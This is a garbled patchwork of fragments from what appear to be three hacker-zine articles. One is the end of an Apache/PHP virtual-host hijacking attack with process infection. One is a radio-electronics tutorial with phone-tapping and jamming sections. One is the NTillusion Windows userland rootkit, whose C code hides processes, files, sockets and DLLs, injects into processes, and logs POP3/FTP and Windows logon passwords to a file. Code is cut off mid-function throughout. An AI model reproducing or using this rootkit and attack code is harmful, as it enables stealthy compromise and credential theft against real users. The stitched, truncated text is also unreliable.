-rw-r--r-- 1 andi andi 905 May 6 14:21 hoagie_apache_php.php
-rwxr-xr-x 1 andi andi 317265 May 6 14:25 hoagie_apache.so
-rw-r--r-- 1 root andi 15 Apr 25 02:18 index.html
vhost2/:
total 16
drwxr-sr-x 2 andi andi 4096 Apr 25 03:31 .
drwxrwsr-x 7 root staff 4096 Apr 25 03:00 ..
-rw-r--r-- 1 root andi 15 Apr 25 02:18 index.html
-rw-r--r-- 1 andi andi 15 Apr 25 03:31 test.html
andi@blowfish:/home$ cat hack1/index.html
hacked!!!!!
w0w0w0w
andi@blowfish:/home$ cat vhost1/index.html
www.vhost1.com
andi@blowfish:/home$ cat vhost1/hoagie_apachephp.php
...
if (php_hoagie_loaddl()) {
hoagie_setvhostdocumentroot("www.vhost2.com", "/home/hack1");
} else {
php_hoagie_debug("Cannot load " . PHP_MEM_MODULE);
}
...
andi@blowfish:/home$ cat vhost2/index.html
www.vhost2.com
andi@blowfish:/home$ cat /home/andi/bin/apache/conf/httpd.conf
...
<VirtualHost 172.16.0.123:8080>
ServerAdmin [email protected]
DocumentRoot /home/vhost1
ServerName www.vhost1.com
ErrorLog logs/www.vhost1.com-error_log
CustomLog logs/www.vhost1.com-access_log common
</VirtualHost>
<VirtualHost 172.16.0.123:8080>
ServerAdmin [email protected]
DocumentRoot /home/vhost2
ServerName www.vhost2.com
ErrorLog logs/www.vhost2.com-error_log
CustomLog logs/www.vhost2.com-access_log common
</VirtualHost>
...
andi@blowfish:/home$
So, before the attack we send some http requests and look for the correct
answer.
HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:52:58 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:18:38 GMT
ETag: "5a826-f-408b03de"
Accept-Ranges: bytes
Content-Length: 15
Connection: close
Content-Type: text/html
www.vhost1.com
andi@blowfish:/home$ nc www.vhost2.com 8080
GET / HTTP/1.0
Host: www.vhost2.com
HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:53:06 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:18:46 GMT
ETag: "5a827-f-408b03e6"
Accept-Ranges: bytes
Content-Length: 15
Connection: close
Content-Type: text/html
www.vhost2.com
andi@blowfish:/home$
hacked!!!!!
w0w0w0w
andi@blowfish:/home$
[apache_1.3.29/src/main/http_vhost.c]
...
static ap_inline unsigned hash_inaddr(unsigned key)
{
key ^= (key >> 16);
return ((key >> 8) ^ key) % IPHASH_TABLE_SIZE;
}
...
...
/* allocate memory for new virtual host objects and it's sub objects */
nc = ap_palloc(pconf, sizeof(name_chain));
nc->next = NULL;
Lets start apache bench again and infect the apache processes.
--[ 7 - Keep it up
Now we can infect apache processes that are running at the moment. But
when there are many HTTP requests Apache creates also new processes that
are not infected.
So what we do is we are redirecting the signal call for all running Apache
processes. This is done by Runtime Process Infection (the .so way ;)).
Therefore after each new connection all running apache processes will be
infected too. For more details see [4]. But this can only be done when
Apache is not started by root because after a setuid() call with old uid is
not equal to new uid Linux clears the dumpable flag of that process. This
flag must be set if you want to ptrace() this process.
--[ 8 - Solution?
For PHP you can simply disable the "dl()" function or enable safe mode for
all your virtual hosts. When you're using mod_perl too, you have to disable
the whole dl() family functions (see DynaLoader). Generally you can say
that every builtin Apache module is vulnerable to this kind of attack (when
you can directly access memory locations). I implemented a proof of concept
code for PHP and ModPerl because nowadays these script languages are
running on most of the apache web servers.
--[ 9 - References
0 - Introduction
0.1 - Technical Terms
1 - Radio Basics
1.1 - Radio Waves
1.2 - Carrier
1.3 - (RF) Frequency Bands
1.4 - Wavelength
1.5 - Transmission
1.6 - Receiving
2 - AM Radio
2.1 - What is AM Radio?
2.2 - Modulation
2.3 - Demodulation
2.4 - Circuits
2.4.1 - Receivers
2.4.2 - Transmitters
3 - FM Radio
3.1 - What is FM radio?
3.2 - Modulation
3.3 - Demodulation
3.4 - Circuits
4 - Misc
4.1 - Pirate Radio
4.2 - Wireless Telephone Tapping
4.3 - Jamming
5 - Conclusion
6 - Bibliography
--[ 0 - Introduction
This article is divided up into four parts. The first part describes
the basic theory of radio, and examples to illustrate some of the
common day uses of it. In parts two and three, AM and FM radio
details are outlined showing various different circuits to illustrate
how these principles can be applied to real-life, functioning
circuits. Section four is a misc. section, presenting some
miscellaneous interesting points. Some electronics knowledge is
useful in radio, though not totally necessary. Most circuits
presented here are quite rough, and can be greatly improved upon in
many ways.
Crystal-controlled
oscillator -- An oscillator circuit whos oscillation frequency is
controlled by a 'crystal'. See oscillator.
An 'RF carrier' can be thought of as the part of the radio wave which
can be modulated to 'carry' a data signal. An analogy to help with
understanding this is to think of turning on a flashlight and pointing it
towards a wall. The light which is seen on the wall is the 'carrier'.
peak voltage
RF carrier
The entire range in which radio signals are transmitted extends from
around 30KHz, up to about 30GHz. This whole range of available RFs
(Radio Frequencies) is known as the 'radio spectrum'. The radio
spectrum's range of frequencies, and their concurrent uses are shown
in the below table.
+-------------------+----------------------------+---------------------+
| Frequency | Uses | Name |
+-------------------+----------------------------+---------------------+
| 30KHz-300KHz | Long-wave radio, useful | Low Frequency (L.F) |
| | for long distance | |
| | communications | |
+-------------------+----------------------------+---------------------+
| 300KHz-3MHz | Medium wave, local radio | Medium Freq (M.F) |
| | distant radio stations | |
+-------------------+----------------------------+---------------------+
| 3MHz-30MHz | Short wave radio | High (H.F) |
| | Communications | |
| | Amateur radio | |
+-------------------+----------------------------+---------------------+
| 30MHz-300MHz | FM Radio | Very High (V.H.F) |
| | Police radio | |
| | Meteorology Comms | |
+-------------------+----------------------------+---------------------+
| 300MHz-3GHz | Air Traffic Control | Ultra High (U.H.F) |
| | TV | |
+-------------------+----------------------------+---------------------+
| 3GHz-30GHz | Radar Comms | Microwaves (S.H.F) |
| | Satellites | |
| | Telecommunications (TV & | |
| | telephone) | |
+-------------------+----------------------------+---------------------+
|\ = V / F
* |\ = lamda
V = Velocity
F = Frequency
|\ = 300,000,000 / 27,000,000
= 11.11r
Looking at the above calculation, what can be gained? It seems that the
wavelength for waves transmitted in the example scenario is 11.11
(recurring) meters, so from this, it can be gathered that a peak in a
particular radio wave will have travelled 11.11r meters in the time it
took for one oscillation of the transmitting oscillator. But how can we
know how long this oscillation period takes? We can calculate this
using the formula '1 / f'.
1 / 27,000,000 = 0.0000000370r
From this calculation, we can gain the knowledge that a near ideal
radio transmitter/receiver aerial can be constructed to be of around 5.5
meters. Exact precision is not generally critical to the overall operation
of the radio transmitter/receiver. For example, where portability of
equipment is more of a concern than great efficiency, 1/4, 1/8 or even 1/16
of the wavelength in meters is often used for the length of the radio aerial.
11.11 / 4 = 2.7775
11.11 / 8 = 1.38875
11.11 / 16 = 0.694375
From this little experiment we can see that we can turn a length which
is considerably out of question due to portability desires, into a length
which is much more suitable, yet efficiency is not affected too much.
Capacitor Inductor
________________
| )
| )
--- )____________ Aerial
--- )
| )
|________________)
The concept of receiving radio signals is based upon almost the opposite
of the concepts of transmitting radio waves. In similarity to radio
transmitters, radio receivers also use an aerial, but for a totally
different purpose; for detecting the radio signals in the environment. As
described previously, radio waves are a form of energy, propagated as
electromagnetic waves through the air. Thus, when radio signals transmitted
by nearby radio transmitters pass the aerial of the receiver, a *tiny* RF
alternating current is generated in the aerial wire. When a signal becomes
present in the aerial wire, 'wanted' radio frequencies are 'selected' from
the assortment of RF currents in the aerial, using a 'tuned circuit'.
After being rectified by the diode, the AM radio signal is still not
suitable to be fed to an audio output, as the RF carrier is still present.
The RF carrier can be removed by using a single capacitor.
| |
||\\ //\\ ------------------------| |--------------------- /\ /\
|| \\|| \\ | | / \/ \
The whole system model of a radio receiver at its most basic level can
be thought of as the below diagram.
--[ 2 - AM Radio
As you can hopefully make out from the diagrams, whenever the
modulating signal (the signal which we are modulating) increases in
voltage, the amplitude (power) of the RF carrier is increased in sympathy
with the modulating signal. When the voltage of the modulating signal
declines in voltage, the opposite of above happens. After AM modulating
the carrier, the signal has usually twice the 'bandwidth' of the original
modulating signal.
\\/\/\/\/\
\\ /// // ---------------------|>|----------------- \\ /// //
\\// \\/ \\// \\//
\\ // | |
\\ /// // ----------------| |---------------- \ /\ /
\\// \\// | | \/ \/
Superhet receivers are based upon the principle of 'mixing' two signals
to produce an intermediate frequency. The diagram illustrates a superhet
receivers operation.
Carrier in ---> Tuned circuit ---> Mixer ---> IF amplifier ---> Detector
(selects correct RF) | |
| |
| |
Local oscillator Audio Amp
|
|
+--+
| |
+--+
\__/
Aerial Wire D1 *
| Q1
| ____|>|__________________
|_____________|/ | |
| |\ | |
_______|_____ | | |
( | | | |
( L1 --- C1 * | C2 --- 0 high impedance
( --- | --- 0 headphones
( | | | |
(_____________| | | |
| | | |
|_______________^____________|__________|
| | (not joined)
|_______________|
|
GND
From previous discussion, we can figure out that the above 'crystal
set' AM radio receiver works as follows; incoming radio waves generate a
tiny alternating current in the aerial wire, from which 'wanted' radio
frequencies are selected, by the tuned LC circuit. Selected current passes
through a diode, which 'rectifies' the signals, thus demodulating them.
Before the diode, there is a simple transistor, which amplifies the
'wanted' frequency. The only reason for this is to make the quality of
sound slightly better. Any remaining RF components are removed using a
single capacitor -- this consequently has the effect of smoothing out the
signal. The product audio signal is passed to a set of headphones -- these
*must* be high-impedance, or nothing audible sounds on the headphones.
As was noted earlier, this type of receiver was used frequently in the
1920s, and gave even newbie electronic enthusiasts of that time the
opportunity to build something that would be considered very useful at that
time. To make decent use of the 'crystal set' circuit, around 60-70 turns
of wire around a rod of ferrious metal would create a good aerial.
Designs like above are never used in commercial radio receivers anymore.
Excluding superhet receivers, TRFs are occasionally used to produce low
quality radio receivers. Below is a simple TRF receiver schematic.
Aerial
| C5* C6 +9V
| ________________________________________
| | | | ) |
| | --- --- ) LC2 |-|
| | --- --- ) __| |
| | |____|_______) | |_|
| | | | | C8
--- C1 | | D1 C7 | |___| |____0
--- _|_ Q1_____________|>|________| |_|_|/ | | 0
LC1 | R1 | | / | | | |\ Q2
_________|__ |_| __|/ | | High impedance
| ) | | |\_____ | | headphones
| ) | | | | |
| ) | | | | |
--- C2 * )___| |__|_ | | |
--- ) | | | | | |
| ) C3 | | | |
|___________) | | C4 | |
| |_____ | |
| | | R4 |-| R6 |-|
R2 |-| R3 |-| --- | | | |
| | | | --- |_| |_|
|_| |_| | | |
____|______|____|_________ |___________|
0V
A few things can be done to improve the above receiver, such as adding
yet more tuned amplifiers, and perhaps adding a few more resistors and
capacitors for safety and efficiency purposes.
Aerial
|
|
___________________________________________________________________|
| | | | | |
| | | | | |
| L1 ) | | | L3 |
| ) R3 |-| C3 | |__ )
|-| R1 Crystal ) | | --- | | )
| |_________|_____________) |_| --- | | C5)
|_| ||| | | | | --- )
| |_______| |_______|_AM ___|_______|/ --- |
| / | | Modulator |\___|___|
|__________| |________|/ C2 Q2 | |
| | | |\ Q1 (PNP) | )
| C1 | --- )
| |-| C4 --- )
M | | R4 | L2 )
| |_| | |
| | | |
| | | |
|_______________________|______________________________________|____|
--[ 3 - FM Radio
FM radio just means any form of technology which makes use of radio
with FM modulated signals. To modulate a radio wave's carrier with
information, FM transmitters shift the frequency of the carrier very
slightly, to be in sympathy with a modulating signal.
The diagrams show that when the frequency of the modulating signal
increases, so does the given carrier frequency, and the opposite when
the modulating signal's frequency decreases. This is shown in the FM
signal diagram by the bands being spaced widely apart when the modulating
signal frequency is increasing, and more closely together when the
modulating signal's frequency is decreasing.
The above PLL is able to recover the modulating signal by having one
input to a phase detector as the modulated carrier, and the other input as
a VCO oscillating at the frequency of the RF carrier. The phase detector
'compares' the two frequencies, and outputs a low-power voltage relative to
the difference between the two 'phases', or frequencies. In essence, the
outputted voltage will be relative to the frequency by which the carrier's
frequency was shifted during modulation by the transmitter. Therefore, the
output of the PLL, known as the 'phase error', is the recovered modulating
signal. In addition to being outputted from the small system, the voltage
is also given to the VCO as 'feedback', which it uses to 'track' the
modulation. Acting upon the feedback received, the frequency of
oscillation is altered accordingly, and the process is repeated as
necessary.
Aerial
|
|
|
____________________________________________________________________|
| | | | | |
| | | | | )
| ) |-| --- C3 | )
| R1 L1 ) R3 | | --- |_ C4 )
|-| ) |_| | | | )
| | ) | | | --- |
|_| | Crystal | C2 | | | --- | L2
|_______________|||_____________|___________| |___|____|____|/ | |
| / | | |\___|___|
|____________| |_____________|/ |
| | | |\ Q1 Q2 |
| | |
| C1 | |
M |-| |
| | | R2 |
| |_| |
| | |
|______________________________|_____________________________________|
--[ 4 - Misc
Stations using only the above equipment can sometimes sound quite
crude, and might interfere with other legal radio stations. To avoid
this, a 'compressor' can be used, which also limits the noise created
by sudden loud noises in the background.
The length and height of the antenna depends entirely on how far the
radio signals need to be transmitted. By reading the previous
sections, some information on getting a correctly sized aerial can be
gained. For example, a quick and dirty aerial for an AM pirate radio
station could be around 15-20 feet tall.
'Beige boxing' has long been the easiest and most exploited way to tap
telephones, interrupt on neighbours conversations, and use enemies
phone lines to make long distance calls to your friend in Australia.
However, since beige boxing requires the phreak to lurk around like a
ninja, a safer method can be used, which doesn't require you to be
physically close to the target phone line.
__________________________________________________________
| | |
| | |
IN (green) ___.___|_______ |-| |
| | | | | |
| /\ LED | |_| |
| --- | | |___| | op-amp |
| | C1 | | | | |---|\ |
| | |__________|/ ____| >------- Aerial |
IN (red) _____|___| |\ _____|___|/ |
| | | | | |
| | | | | |
OUT (green) __| | ( | | |
/\ ( | /\ varactor |
--- ( | --- |
| ( | | |
OUT (red) ________|____________________|_____|___|__________________________|
- modulated jamming
This consists of mixing different types of modulation, and
transmitting the results at a desired radio frequency. This is
designed to make receiving legimate radio signals hard or next to
impossible.
- CW (continuous wave)
CW jamming only involves transmitting a consistant carrier frequency
once tuned into a RF frequency/band you want to jam. This again makes
receiving desired radio signals particuarly hard.
- Broadband
Broadband jammers spread Gaussian noise across a whole band of audio
frequencies, blocking legimate audio signals from easy receival.
--[ 5 - Conclusion
--[ 6 - Bibliography
Phrack 60
Low Cost and Portable GPS Jammer
<http://www.phrack.org/phrack/60/p60-0x0d.txt>
==Phrack Inc.==
This paper describes how to build a windows user land rootkit. The first
part deal with the basis and describe a few methods to show how code
injection and code interception are possible, while the rest of the paper
covers the strategy that makes stealth possible in userland. A bigger
version of the paper is also available at [1] so that novice peoples can
refer to a preliminary article about injection and interception basics.
Table of contents
1. Introduction
2. Code Injection and interception
2.1. System Hooks
2.2. CreateRemoteThread
2.3. Manipulating thread's context
2.4. Redirecting the Import Address Table
2.5. Inserting an unconditional jump (jmp)
3. User land take over
3.1. User land vs Kernel land rootkits
3.2. Restrictions...
3.3. ...and constraints
3.4. Setting a global hook to take over userland
3.5. Local application take over
4. Replacement functions
4.1. Process hiding
4.2. File hiding
4.3. Registry
4.4. Netstat like tools.
4.4.1. The case of windows 2000
4.4.1.1. Hooking GetTcpTable
4.4.1.2. Defeating netstat
4.4.1.2. Defeating Fport
4.4.2. The case of windows XP
4.5. Global TCP backdoor / password grabber
4.6. Privilege escalation
4.7. Module stealth
5. Ending
5.1. Conclusion
5.2. Greets
6. References
-------[ 1. Introduction
A rootkit is a program designed to control the behavior of a given
machine. This is often used to hide the illegitimate presence of a
backdoor and others such tools. It acts by denying the listing of certain
elements when requested by the user, affecting thereby the confidence that
the machine has not been compromised.
There are different kinds of rootkits. Some act at the very bases of the
operating system by sitting in kernel land, under the privileged ring 0
mode. Some others run under lower privileges in ring 3 and are called user
land rootkits, as they target directly the user's applications instead of
the system itself. These ring 3 rootkits have encountered a recrudescence
the last years since it is somewhat more portable and polyvalent than ring
0 ones.
As there are multiple ways to stay unseen under windows, this article
performs a windows rootkitting tutorial based on a strong implementation
called the [NTillusion rootkit] which fits maximum constraints.
This rootkit has been designed to be able to run under the lowest
privileges for a given account under windows. Indeed, it doesn't use any
administrative privilege to be able to perform its stealth as it resides
directly inside processes that are owned by the current user. In a word,
all the ring 3 programs that a user might use to enumerate files,
processes, registry keys, and used ports are closely controlled so they
won't reveal unwanted things. Meanwhile, the rootkit silently waits for
passwords, allowing the load of any device driver as soon as an
administrator password is caught.
This introduction would not have been achieved without comments about the
different sections of the paper that present each special characteristics.
Section 3 deals about user land take over. This mechanism has already been
presented by Holy_Father in [HIDINGEN]. However it is here done in a
different way. In fact, the rootkit acts globally a level higher so things
are changed and it results in a somewhat simpler but efficient spreading
method. And contrary to Hacker Defender ([HKDEF_RTK]), NTillusion does not
need the administrative privilege. So the approach I propose is different.
This approach is also different when speaking about the way functions are
chosen and replaced.
This is the case with section 4 which introduces an uncommon way to
replace original functions. On one hand, the functions are most of the time
replaced at kernel level. So, I hope this paper shows that performing a
good stealth is possible also in userland. On the other hand when thinking
about API replacement, people try to dig as much as possible in order to
hook at the lowest level. This is sometimes a good thing, sometimes not.
This is especially true with portability, which suffers from this run to
low level. NTillusion replaces top level APIs as often as possible.
As windows designers want programs that rely on the documented API to be
portable from one windows version to another, and as the rootkit hijacks
critical functions among this documented API, portability is accrued.
Thereby there's no need to perform OS version check and it results in a
more universal rootkit. Added to that, this section offers a new way for
privilege escalation by showing how hooking the POP3/FTP traffic is
possible in order to get login and passwords.
This is not the only new thing: section 4.7 offers a new way to hide a DLL
loaded inside a given process. Usually, this would have been done by
hooking modules enumeration APIs inside the memory space of each process
able to reveal the rootkit. However I show how this is possible to do this
by dealing directly with undocumented structures pointed by the Process
Environment Block. Once this has been done, there's not need to worry
about subsequent detection. To test this method I downloaded a rootkit
detector, [VICE], and scaned my system. With no rootkit loaded, VICE
produced most of the time some false positive for standart DLLs (kernel32/
ntdll/...). Once the rootkit was loaded and using this technique, there
was no noticable change and VICE was still accusing some system DLLs to be
rootkits as before but there was no record about kNTIllusion.dll that was
however doing the job efficiently.
-------[ 2. Code Injection and interception
The goal of this section is to allow a process to replace the functions
of another. This involves getting control of the target process, then
to replace parts of it's memory carefully. Let's begin with code injection.
So altering the behavior of a process requires to break into it's memory
space in order to execute some code to do the job. Fortunately, windows
perfors checks to prevent an application to read or write memory of an
other application without its permission. Nevertheless the windows
programmers included several ways to bypass the native inter-process
protection so patching other processes' memory at runtime is a true
possibility. The first step in accessing a running process is done trough
the OpenProcess API. If the application possesses the correct security
permissions, the function returns a handle to deal with the process, in
the other case, it denies access. By triggering a proper privilege, a user
may get access to a privilegded process as we'll see later. In Windows NT,
a privilege is some sort of flag granted to a user that allows the user to
override what would normally be a restriction to some part of the
operating system. This is the bright side. But unfortunately there is
also a seamy side. In fact there's multiple ways to break into the memory
space of a running process and running hostile code in it, by using
documented functions of the windows API. The following methods have
already been covered in the past so I will only give an overview.
No, it isn't. One detail that I voluntarily left out until now: the
problem of disassembling instructions. In machine code, instructions have
a variable length. How can we write an unconditional five-byte jump while
being sure not to damage the target code ("cutting an instruction in
half")? The answer is simple: in most cases we just use a basic
disassembly engine. It allows to recover as many complete instructions as
required to reach the size of five bytes, i.e. the area just big enough
the insert the unconditional jump. The useful redirection engine used in
the rootkit is the one created by Z0MbiE (see [ZOMBIE2]).
This hooking method, somewhat particular has been covered by Holy_Father.
Refer to [HKDEF] if you are interested.
Hum, That's all folks about prerequisite. Now we're going to consider how
to build a win32 rootkit using these techniques. Le'ts play!
if(!fCreateProcessW)
{
fCreateProcessW = (FARPROC)
fGetProcAddress(GetModuleHandle("kernel32.dll"),
"CreateProcessW");
if(!fCreateProcessW) return 0;
}
/* Clear parameters */
my_memset(msg, 0, 1024);
my_memset(cmdline, 0, 256);
my_memset(appname, 0, 256);
/* inject the created process if its name & command line don't
contain RTK_FILE_CHAR */
if(bResult)
{
if(
(lpCommandLine && strstr((char*)cmdline,(char*)RTK_FILE_CHAR)) ||
(lpApplicationName && strstr((char*)appname,(char*)RTK_FILE_CHAR))
)
{
OutputString("\n[i] CreateProcessW: Giving true sight to
process '%s'...\n", (char*)appname);
WakeUpProcess(lpProcessInformation->dwProcessId);
bInject = 0;
}
if(bInject)
InjectDll(lpProcessInformation->hProcess,
(char*)kNTIDllPath);
CloseHandle(lpProcessInformation->hProcess);
CloseHandle(lpProcessInformation->hThread);
}
return bResult;
}
---------------------- END EXAMPLE 1 -----------------------------
Note that the child process is created in suspended mode, then injected by
the Dll using CreateRemoteThread. The DLL hook function next wakes the
current process up by resuming all its threads. This assures that the
process has not executed a single line of its own code during the hijack
time.
/* Load module */
hInst = (HINSTANCE) fLoadLibrary(lpLibFileName);
free(lDll);
}
}
end:
return hInst;
}
---------------------- END EXAMPLE 2 -----------------------------
As the hijacking method used is entry point rewriting, we must check that
the DLL has not been yet loaded before performing the hooking. Otherwise,
this may trigger an infinite loop when calling the original function. The
job is partially done by SetUpHooks that will perform the hooking on
already loaded module only at program startup.
About GetProcAddress:
At first NTillusion rootkit was using an IAT hijacking method in order to
replace file, process, registry and network APIs to perform its stealth.
Under winXP, all worked perfectly. But when I tested it under win2000 I
noticed a unusual behaviour in explorer's IAT. In fact, the loader doesn't
fill the IAT correctly for a few functions such as CreateProcessW, so the
address written doesn't always correspond to the API entry point
[EXPLORIAT]. Scanning the IAT looking for API name instead of it's address
does not solve the problem. It seems that explorer is performing something
strange... So I moved from an IAT hijacking engine needing to hook
GetProcAddress in order to prevent hook escape, to the unconditional jump
insertion that does not need to filter calls to this API. Anyway, you can
try to hijack GetProcAddress and send the details of each call to debug
output. The amount of GetProcAddress calls performed by explorer is
amazing and its study, instructive.
NTSTATUS NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
while (1)
{
/* alloc memory to save process name in AINSI
8bits string charset */
pname = (char *) GlobalAlloc(GMEM_ZEROINIT,
pSpiCurrent->ProcessName.Length + 2);
/* if "hidden" process*/
if(!_strnicmp((char*)pname, RTK_PROCESS_CHAR,
strlen(RTK_PROCESS_CHAR)))
{
/* First process */
if (pSpiCurrent->NextEntryDelta == 0)
{
pSpiPrec->NextEntryDelta = 0;
break;
}
else
{
pSpiPrec->NextEntryDelta +=
pSpiCurrent->NextEntryDelta;
pSpiCurrent =
(PSYSTEM_PROCESS_INFORMATION) ((PCHAR)
pSpiCurrent +
pSpiCurrent->NextEntryDelta);
}
}
else
{
if (pSpiCurrent->NextEntryDelta == 0) break;
pSpiPrec = pSpiCurrent;
GlobalFree(pname);
} /* /while */
break;
} /* /switch */
} /* /if */
return (rc);
}
---------------------- END EXAMPLE 3 -----------------------------
/* Filter events */
if( Msg==LVM_SETITEM || Msg==LVM_INSERTITEMW ||
Msg==LVM_SETITEMTEXTW )
{
/* If process name starts by '_', hide it*/
if( ((char)(pit->pszText))=='_' )
{
hWnd=Msg=wParam=lParam=NULL;
return 0;
}
}
This very high level hook does the job but it will only work for
taskmgr.exe.
BOOL FindNextFile(
HANDLE hFindFile,
LPWIN32_FIND_DATA lpFindFileData
);
/* Process request */
hret = (HANDLE) fFindFirstFileA(lpFileName, lpFindFileData);
return hret;
}
---------------------- END EXAMPLE 5 -----------------------------
return lRet;
}
---------------------- END EXAMPLE 7 -----------------------------
As the rootkit must run under 2000 and XP, we have to consider different
cases.
DWORD GetTcpTable(
PMIB_TCPTABLE pTcpTable,
PDWORD pdwSize,
BOOL border
);
The functions takes three parameters. The last one, border, decides
whether the connection table should be sorted. Then, PdwSize specifies the
size of the buffer pointer by the pTcpTable parameter on input. On output,
if the buffer is not large enough to hold the returned connection table,
the function sets this parameter equal to the required buffer size.
Finally, pTcpTable points to a buffer that receives the TCP connection
table as a MIB_TCPTABLE structure. A sample retrieving the TCP connection
table is available online. [GETTCP]
return dwRetVal;
}
---------------------- END EXAMPLE 8 -----------------------------
Calling GetTcpTable is not the only way to get network statistics under
windows 2000. Some programs, such as fport even provide the correspondence
stream/pid and therefore deal directly with the TCP driver through the
DeviceIoControl function. Hijacking this API is not a good idea as I
explained before. In consequence, the approach I adopted is to target
specific functions used by widespread security tools rather than hooking a
level lower by replacing DeviceIoControl.
With netstat, the idea is to hook the CharToOemBuffA API that is used to
perform characters set translations for each line before it is written to
console output.
BOOL CharToOemBuff(
LPCTSTR lpszSrc, /* Pointer to the null-terminated string to
translate. */
LPSTR lpszDst, /* Pointer to the buffer for the translated
string. */
DWORD cchDstLength /* Specifies the number of TCHARs to translate */
);
As netstat calls the function for each line it writes, there is not
problem in avoiding whole ones.
PreviousChars[total_len] = '\n';
PreviousChars[++total_len] = '\0';
/* Clear settings */
memset(PreviousChars, 0, 2048);
total_len= 0;
}
return bret;
}
---------------------- END EXAMPLE 10 -----------------------------
DWORD AllocateAndGetTcpExTableFromStack(
PMIB_TCPEXTABLE *pTcpTable, /* buffer for the connection table */
BOOL bOrder, /* sort the table? */
HANDLE heap, /* handle to process heap obtained by
calling GetProcessHeap() */
DWORD zero, /* undocumented */
DWORD flags /* undocumented */
)
typedef struct {
DWORD dwNumEntries;
MIB_TCPEXROW table[];
} MIB_TCPEXTABLE, *PMIB_TCPEXTABLE;
/* ... and start to filter unwanted rows. This will hide all
opened/listening/connected/closed/... sockets that belong to
secret range or reside in a secret process
*/
/* for each process... */
for(i = 0; i < ((*pTcpTable)->dwNumEntries); j=i)
{
/* Get process name to filter secret processes' sockets */
GetProcessNamebyPid((*pTcpTable)->table[i].dwProcessId,
(char*)psname);
/* convert from host to TCP/IP network byte order
(which is big-endian)*/
LocalPort = (u_short) fhtons((u_short)
(*pTcpTable)->table[i].dwLocalPort);
RemotePort = (u_short) fhtons((u_short)
(*pTcpTable)->table[i].dwRemotePort);
/* do the job again for the current row, that may also
contain a hidden process */
continue;
}
Output2LogFile("'%s'\n", packet);
}
}
free(packet);
return retval;
}
---------------------- END EXAMPLE 12 -----------------------------
FTP logins and passwords may also be grabbed by adding the proper
expression in the filter condition.
return bret;
}
---------------------- END EXAMPLE 13 -----------------------------
/* Set up buffer */
memset(buf, 0, 1024);
sprintf(buf, "Login '%s' / passwd '%s' / domain '%'\n",
lpszUsername,
lpszPassword,
lpszDomain);
/* Log to disk */
Output2LogFile((char*)buf);
/* Perform LogonUser call */
return fLogonUser(lpszUsername, lpszDomain, lpszPassword,
dwLogonType, dwLogonProvider, phToken);
}
---------------------- END EXAMPLE 14 -----------------------------
The grabbed data are sent to a log file at user profile's root and may be
encrypted using a simple 1 byte XOR key.
/* located at 0x7FFDF000 */
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
[...]
ULONG SessionId;
} PEB, *PPEB;
The PEB_LDR_DATA structure contains three LIST_ENTRY that are part of doubly
linked lists gathering information on loaded DLL in the current process.
InLoadOrderModuleList sorts modules in load order, InMemoryOrderModuleList
in memory order, and InInitializationOrderModuleList keeps track of their
load order since process start.
These doubly linked list contains pointers to LDR_MODULE inside the parent
structure for next and previous module.
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;
/* PEB->PEB_LDR_DATA*/
PPEB_LDR_DATA pLdrData;
/* Module(s) name in UNICODE/AINSI*/
PUNICODE_STRING pImageName;
char szImageName[BUFMAXLEN];
/* Compute PEB->PEB_LDR_DATA */
pLdrData=(PPEB_LDR_DATA)(DWORD *)(*(DWORD *)(PebBaseAddr +
PEB_LDR_DATA_OFFSET));
return FUNC_SUCCESS;
}
---------------------- END EXAMPLE 16 -----------------------------
To process the three linked lists, the rootkit calls the HideDll function
below.
---------------------- EXAMPLE 17 -----------------------------
int HideDll(char *szDllName)
{
return ( WalkModuleList(LOAD_ORDER_TYPE, szDllName)
&& WalkModuleList(MEM_ORDER_TYPE, szDllName)
&& WalkModuleList(INIT_ORDER_TYPE, szDllName) );
}
---------------------- END EXAMPLE 17 -----------------------------
I never saw this method employed to hide a module but instead to recover
the base address of a DLL in elaborated shellcodes [PEBSHLCDE].
To end with this technique, I'll say that it is from far efficient against
ring 3 programs but becomes a little bit ineffective against a personal
firewall acting at kernel level, such as Sygate Personal Firewall. This
one cannot be defeated using the presented method and analysis of its
source code shows as it sets hooks in the kernel syscall table, thereby
being informed as soon as a DLL is loaded into any process and subsequent
hiding is useless. In a word, personal firewalls are the worst enemies of
userland rootkits.
-------[ 5. Ending
-------[ 5.1. Conclusion
The mechanisms presented in this paper are the result of long research and
experimentations. It shows up that ring 3 rootkit are an effective threat
for nowadays computer systems but may be defeated by a clever analysis of
the weakpoints they target. So this type of rootkit isn't perfect as data
may still be detected, even though they're from far more difficult to
notice. Keep in mind that the most important thing is not to cause
suspicion, and therefore not be detected. In a word, ring 3 rootkits are
perfect meantime to get administrative privilege on the local machine and
install a most adapted ring 0 rootkit that will be more suitable to reach
the maximum stealth.
"I tried so hard, and gone so far. But in the end, it doesn�t even
matter..."
Kdm
[email protected]
http://www.syshell.org/
-------[ 6. References
- [1]
http://www.syshell.org/?r=../phrack62/NTILLUSION_fullpack.txt
- [NTillusion rootkit]
http://www.syshell.org/?r=../phrack62/NTIllusion.rar
Login/Pass : phrackreaders/ph4e#ho5
Rar password : 0wnd4wurld
- [HIDINGEN]
http://rootkit.host.sk/knowhow/hidingen.txt
- [HOOKS] A HowTo for setting system wide hooks
